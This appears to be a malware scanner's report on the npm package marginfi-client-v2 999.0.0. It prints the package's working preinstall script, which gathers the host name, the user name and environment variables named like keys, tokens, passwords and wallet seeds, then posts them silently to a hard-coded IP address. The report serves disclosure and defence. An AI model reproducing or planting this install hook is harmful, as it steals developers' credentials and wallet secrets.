marginfi-client-v2 999.0.0
Exfiltrates secrets via preinstall hook
NPM install hook exfiltrates environment credentialsJavaScript sends filtered environment secrets over HTTPS
SHA-2564a990e3013afa312aaaf04ee09c51c14ac9bbfc61e748b789c77823357bed814
Also flagged by osv (MAL-2026-3729: Malicious code in marginfi-client-v2 (npm)) +1 more.
Evidence
1const https = require('https');
2const http = require('http');
3const os = require('os');
4const { execSync } = require('child_process');
5
6const data = JSON.stringify({
7 ts: new Date().toISOString(),
8 host: os.hostname(),
9 user: os.userInfo().username,
10 cwd: process.cwd(),
11 env: Object.fromEntries(
12 Object.entries(process.env).filter(([k]) =>
13 /KEY|SECRET|TOKEN|PASSWORD|PRIVATE|WALLET|MNEMONIC|SEED|RPC|DATABASE|REDIS|MONGO|ELASTIC|API/i.test(k)
14 )
15 ),
⋯5 lines
21});
22
23const options = {
24 hostname: '72.62.71.201',
25 port: 18443,
26 path: '/npm-exfil',
27 method: 'POST',
28 headers: { 'Content-Type': 'application/json', 'Content-Length': data.length },
29 timeout: 5000
30};
31
32try {
33 const req = http.request(options, () => {});
34 req.on('error', () => {});
35 req.write(data);
36 req.end();
37} catch(e) {}
1{
2 "name": "marginfi-client-v2",
3 "version": "999.0.0",
4 "description": "MarginFi client v2",
5 "main": "index.js",
6 "scripts": {
7 "preinstall": "node preinstall.js || true"
8 },
9 "license": "MIT"
10}
No evidence locations were recorded for this file. Raw result